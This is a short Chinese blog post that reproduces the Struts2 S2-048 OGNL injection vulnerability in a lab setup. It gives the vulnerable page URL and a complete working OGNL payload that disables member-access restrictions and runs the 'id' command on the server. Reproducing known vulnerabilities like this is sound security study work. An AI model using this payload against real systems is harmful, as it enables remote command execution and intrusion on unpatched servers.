struts2-048漏洞复现

最新推荐文章于 2024-09-11 17:16:14 发布

原创最新推荐文章于 2024-09-11 17:16:14 发布 · 217 阅读

0 ·

CC 4.0 BY-SA版权

漏洞复现专栏收录该内容

18 篇文章

订阅专栏

该博客详细描述了一个OGNL（Object-Graph Navigation Language）注入漏洞的复现过程。作者通过访问特定链接并构造恶意payload，成功执行了命令，展示了攻击者如何利用此类漏洞来执行任意系统命令。此案例强调了应用程序安全性和输入验证的重要性。

搭建

在这里插入图片描述
访问成功

复现

. 在浏览器输入以下链接访问漏洞页面

http://your-ip:8080/integration/saveGangster.action

在这里插入图片描述

在表单中填入如上，主要第一个表单其他可以随便乱写，点解submit

在Gangster Name”处把${1+1}修改为以下命令执行的payload语句

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

在这里插入图片描述
命令成功执行了